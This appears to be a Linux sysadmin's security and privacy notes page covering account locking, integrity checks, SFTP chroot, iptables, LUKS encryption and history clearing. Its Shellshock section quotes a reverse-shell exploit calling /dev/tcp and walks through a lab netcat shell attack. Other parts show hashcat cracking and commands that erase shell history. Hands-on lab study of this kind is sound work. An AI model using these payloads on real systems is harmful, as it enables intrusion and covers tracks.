Linux security - Security & privacy of a Linux box

locked accounts

• Locking historically meant locking the account, but today it only locks the password.
• This is done by invalidating the corresponding /etc/password entry
• When an account is locked, its owner won't be able to perform a password-based login, but logins using alternate authentication tokens —such as SSH keys— still work.
• To forbid any kind of login, consider changing the user's shell to any flavor of nologin.
• Even more details...

disabled accounts

• are actually expired accounts.
  • expired account does not always imply expired password
  • but expired password + passed inactive days == expired account
• will not accept logins, whatever the authentication mechanisms (SSH keys, smart card, RSA SecurID, ...)
• changing the user shell to any flavor of nologin has a not-totally-equivalent effect :
  • it forbids command-line login for any authentication method, as expected
  • but if the system has other services like email or FTP that use the system passwords for authentication, changing the shell may not disable access to them.

lock the password :

• passwd -l kevin
• usermod -L kevin

unlock the password :

• passwd -u kevin
• usermod -U kevin

disable ("expire") the account :

• usermod -e 1 kevin

re-enable ("un-expire") the account :

• usermod -e "" kevin

check account status :

passwd -S kevin

Edit /etc/apt/apt.conf.d/50unattended-upgrades :

Enable unattended-upgrades :

[apt]

email_address=you@example.com

1. Compute the MD5 hash of every file you want to monitor :
   searchDirectory=/path/to/some/directory; md5File=/path/to/md5.local; >$md5File; find $searchDirectory -type f -exec md5sum {} \; >> $md5File
2. Later, to make sure no file has been altered :
   md5sum -c /path/to/md5.local | grep "FAILED"

If you're suspecting malicious modifications, make sure /path/to/md5.local won't be altered as well :

• move it outside of the monitored host (removable media, send it by mail, ...)
• store it on a crypted volume
• make it unchangeable (even by root, unless he knows chattr) :
  chattr +i /path/to/md5.local

1. Create a new repository at the root of the directory tree containing files to monitor :
   git init
2. Register all the files you want to monitor :
   git add file1 file2 fileN
3. Save this as the "Known good state" :
   git commit -m 'All files are OK'
4. Later, to make sure no file has been altered :
   git status
   should report nothing. Otherwise, with Git commands, you'll be able to :
   • view modifications of each altered file : git diff alteredFile
   • accept changes (with a new commit)
   • restore each file in its initial state (checkout)

Depending on its configuration, Git may not report differences regarding space and TAB characters.

[09:34:18]	/usr/bin/unhide.rb				[ Warning ]
[09:34:18]	Warning: The command '/usr/bin/unhide.rb' has been replaced by a script: /usr/bin/unhide.rb: Ruby script, ASCII text

[09:37:49]	Checking for hidden files and directories	[ Warning ]
[09:37:49]	Warning: Hidden directory found: /etc/.java

As for /usr/bin/unhide.rb: this is because rkhunter interprets finding a script or symlink while expecting a binary as a sign of compromise. rkhunter was designed on Red Hatoids, where such things are rather uncommon, whereas they are frequent on Debianoids. (source)

It's the same explanation for /etc/.java: not expected on Red Hatoids, but placed there on Debianoids. (source)

Manually :

Automatically :

What users will see when automatically disconnected :

timed out waiting for input: auto-logout
Connection to 12.34.56.78 closed.

• export TMOUT=0
• or : unset TMOUT

1. Create the sftpUsers group : groupadd sftpUsers
2. Create the user account : useradd -d /var/data/sftp/ -g sftpUsers -s /bin/false bob
3. Don't forget to : passwd bob

1. Edit /etc/ssh/sshd_config : find the line starting with Subsystem sftp and change it into Subsystem sftp internal-sftp (Subsystem sftp internal-sftp /usr/lib/openssh/sftp-server ==> ???)
2. Then, in the same file, add a rule to match users :

   Match Group sftpUsers
   	PasswordAuthentication yes
   	ChrootDirectory /var/data/sftp/
   	AllowTCPForwarding no
   	X11Forwarding no
   	ForceCommand internal-sftp

3. Restart OpenSSH : /etc/init.d/ssh restart

Here is the hack that makes the whole thing work : Bob may be able to read/write the directory that is just below the chrooted dir. The directory tree becomes :

Bad ownership ... (source):

At upload time : open for write: permission denied

• Anonymous Diffie-Hellman (DH_anon, ADH, ...) : Because the keys used in the exchange are not authenticated, the protocol is susceptible to Man-in-the-Middle attacks. You should not use this one. You can prohibit its use in your code by using !ADH in your call to SSL_set_cipher_list.
• Fixed Diffie-Hellman : embeds the server's public parameter in the certificate, and the CA then signs the certificate. That is, the certificate contains the Diffie-Hellman public-key parameters, and those parameters never change.
• Ephemeral Diffie-Hellman (DHE) : Each instance or run of the protocol uses a different public key. Because the public keys are temporary, a compromise of the server's long term signing key does not jeopardize the privacy of past sessions. This is known as Perfect Forward Secrecy. You should always use this one because it provides PFS. You can specify ephemeral methods by providing kEECDH:kEDH in your call to SSL_set_cipher_list.

Run this and you'll know : env x='() { :;}; echo "You are VULNERABLE."' bash -c "echo 'Dont panic : this is a test'"

If it displays :

You are VULNERABLE.
Dont panic : this is a test

If it displays :

bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
Dont panic : this is a test

If it displays :

Dont panic : this is a test

DO THIS ONLY IN A TESTING ENVIRONMENT !!!

1. Get the current version : dpkg -l bash says 4.2+dfsg-0.1+deb7u1
2. Find any previous version : grep bash /var/log/dpkg.log | grep -v completion | head shows the version 4.2+dfsg-0.1
3. Let's try it : apt-get install bash=4.2+dfsg-0.1 This will warn you about downgrading a package. Ignore it and continue.
4. Make sure now you're vulnerable

This experience was inspired by this code :

#
#CVE-2014-6271 cgi-bin reverse shell
#

import httplib, urllib, sys

if (len(sys.argv) < 4):
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell = "() { ignored; }; /bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = { "Content-type": "application/x-www-form-urlencoded", "test": reverse_shell }
conn.request("GET", sys.argv[2], headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data

1. create a new virtual machine to play with
2. Install some software : apt install apache2 emacs23-nox
3. Create an alias NOW before going crazy : alias ll='ls -lh'
4. Create a new documentRoot : mkdir -p /var/www/testCgi
5. Disable default virtualhosts : a2dissite 000-default
6. Create the file /etc/apache2/sites-available/testCgi.conf :

   <VirtualHost *:80>
   	ServerName testCgi
   	ScriptAlias / /var/www/testCgi/
   	DocumentRoot /var/www/testCgi
   	<Directory /var/www/testCgi>
   		Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
   		AllowOverride None
   		Order allow,deny
   		allow from all
   	</Directory>
   
   	ErrorLog ${APACHE_LOG_DIR}/error.log
   	LogLevel warn
   </VirtualHost>

7. Create the file /var/www/testCgi/script.sh :

   #!/usr/bin/env bash
   echo 'Content-type: text/plain'
   echo
   echo 'Hello world.'

8. Make this script executable : chmod a+x /var/www/testCgi/script.sh
9. Stop Apache from complaining about its missing host/domain name : echo "ServerName testCgi" > /etc/apache2/conf.d/fqdn
10. Enable the new virtualhost : a2ensite testCgi.conf
11. Restart Apache : apache2ctl restart
12. Get the IP address of your web server : ip a
13. From another host, test your web server : wget -S -O - --header="Host: testCgi" http://192.168.1.35/script.sh. The output should comply with script.sh : right Content-type, right message.
14. Good ! So far, what we've done was just creating our playground. Time to play !
    As seen in the exploit code above, the idea is to send a GET request to our CGI script, while passing it an argument as an additional HTTP header. The payload of this header is the malicious code. Let's do this with wget, our payload being a Netcat command to open a remote shell :
    payload='() { :;};/bin/nc -l -p 8888 -v -e /bin/bash'; wget -S -O - --header="Host: testCgi" --header="Content-type: application/x-www-form-urlencoded" --header="test: $payload" http://192.168.1.35/script.sh
    After launching this command from our attacking host, the shell may look stalled :

    --2014-09-25 23:53:09--	http://192.168.1.35/script.sh
    Connecting to 192.168.1.35:80...connected.
    HTTP request sent, awaiting response...

    Actually, this shows our attack worked : the remote CGI script has spawned a new Bash shell, which has itself started a listening Netcat instance via the "Shellshock" bug.
15. On the attacking host, open a new terminal, and connect to our listening Netcat : nc 192.168.1.35 8888 :
    • whoami returns : www-data
    • hostname returns the REAL hostname of my testing machine : I'm in !!!

iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 60 --hitcount 3 -j DROP

• The IP address which initiated the connection has previously been added to the list
• AND the IP address has sent a packet in the past 60 seconds
• AND the IP address has sent more than 3 packets in total

• for HTTP :
  for i in {1..5}; do echo 'GET' | nc localhost 80; done
  echo 'GET' | nc localhost 80 is a hack to send HTTP requests. Other methods (like wget or curl) should work too.
• for SSH :
  for i in {1..5}; do nc -vz localhost 22; done

1. apt install iptables-persistent
2. save existing rules to file : iptables-save > /etc/iptables/rules.v4
3. reload rules from file : iptables-restore < /etc/iptables/rules.v4

To update rules, do not try to edit /etc/iptables/rules.v4. Instead, just edit rules from the shell, then save them.

proc	/proc	proc	defaults,hidepid=2	0	0

• Bruteforce : try all characters from a to zzzzzzzzz
• Wordlist : search passwords from a list of words
• Rules : modify/combine words from the word lists and search for the password

1. Download the latest version
2. Unpack the downloaded archive. The binary to use on a 64bit CPU running Linux is hashcat-cli64.bin
3. For convenience : ln -s hashcat-cli64.bin h4
4. Download a dictionary / wordlist (sources : 1, 2, )

./h4 -a 3 -m 1800 fileContainingHashes [mask]

Mind your mask specification, or this will last forever !

• a standard hard drive partition (/dev/sdc1)
• a logical volume
• a loop filesystem

1. install cryptsetup
2. initialize the /dev/sdc1 partition by defining the encryption method and the key :
   • (obsolete?) cryptsetup luksFormat -c aes -h sha256 /dev/sdc1
   • (updated) cryptsetup --cipher aes-xts-plain64 --key-size 512 --hash sha512 luksFormat /dev/sdc1
3. you can now open your vault and give it an alias : cryptsetup luksOpen /dev/sdc1 barracuda
4. at that point, you should see a /dev/mapper/barracuda block device
5. let's now format it : mkfs.ext4 /dev/mapper/barracuda
6. [do anything you want now]
7. don't forget to close your vault once done : cryptsetup luksClose barracuda

1. open the vault : cryptsetup luksOpen /dev/sdc1 barracuda
2. This should prompt for the volume password. If it doesn't, this may be because you're not dealing with a crypted volume
3. mount the volume : mount /dev/mapper/barracuda /mount/point

1. unmount the volume : umount /mount/point
2. close the vault : cryptsetup luksClose barracuda

Backup :

Make sure the header you're about to restore fits the right volume :

Key slot 0 unlocked.
Command successful.

Restore the header of a closed LUKS volume :

• cryptsetup luksAddKey /dev/sdc1
• cryptsetup luksRemoveKey /dev/sdc1

1. Grant sudo privileges to Bob on the /sbin/cryptsetup binary
2. Declare the volume in /etc/fstab :

   /dev/mapper/barracuda	/mount/point	ext4	noauto,user	0	0

3. Create /mount/point and mount the volume as root the 1^st time.
4. As root :
   chown bob: /mount/point && umount /mount/point
5. As bob :
   mount /mount/point
   mount /dev/mapper/barracuda /mount/point
   will result in :

   mount: only root can do that

6. Enjoy !

1. load the dm_crypt kernel module : echo dm_crypt >> /etc/modules
2. Make its mount point : mkdir /mnt/secure
3. Detect the encrypted volume and decrypt it as a "readable" volume at boot time (equivalent to cryptsetup luksOpen /dev/sda4 secure). This is done by declaring it in /etc/crypttab :

   # <target name>	<source device>	<key file>	<options>
   secure		/dev/sda4	none		luks,timeout=10

4. Declare the "readable" volume into /etc/fstab with a line such as :

   /dev/mapper/secure		/mnt/secure		ext4		noauto,defaults		0		0

5. Don't forget to make the volume accessible to userName (once it's mounted): chown userName:groupName /mnt/secure
6. The secret passphrase will be prompted at boot time. Upon 5 failures (or ), the boot process will continue without mounting the crypted volume.

1. you may have to modprobe dm_crypt before going further (the module used to be dm-crypt)
2. cryptsetup luksAddKey /dev/sdb1
3. follow the on-screen instructions, then mount/unmount as usual (source)

• If Bash has nowhere to write data, the history of the current session will be lost :
  unset HISTFILE
• Leave Bash silently :
  unset HISTFILE && exit
• Clear the whole history :
  rm $HISTFILE && history -c

1. Make sure at least one of the files listed below has the ignorespace option for the HISTCONTROL directive (details) :
   grep -E 'HISTCONTROL.*ignorespace' ~/.bashrc ~/.bash_profile /etc/bash.bashrc
   HISTCONTROL=ignoredups:ignorespace
2. Add the missing option into ~/.bashrc
3. . ~/.bashrc
4. Now, commands prefixed with a space character won't be recorded in the history : SPACEanyCommand

1. rm ~/.lesshst
2. Add to ~/.bashrc : export LESSHISTFILE="/dev/null"
3. . ~/.bashrc

• cleaning mode : find ~/.macromedia -iname '*.sol' -exec rm {} \; It might also be useful to remove directories named after the visited websites.
• chlorinating mode : same as above + chmod 500 ~/.macromedia
• paranoid mode :
  • same as above + chattr +i ~/.macromedia as root
  • OR : delete ~/.macromedia, then ln -s /dev/null ~/.macromedia

• Flash Player settings manager
• Local Shared Object on Wikipedia

• method 1 :
  1. rm ~/.recently-used.xbel
  2. ln -s /dev/null ~/.recently-used.xbel
• method 2 :
  1. > ~/.recently-used.xbel
  2. chattr +i ~/.recently-used.xbel

• method 1 : resets log, but logging continues : (source)
  1. rm ~/.local/share/zeitgeist/activity.sqlite
  2. zeitgeist-daemon --replace
• method 2 : just send information to a black hole.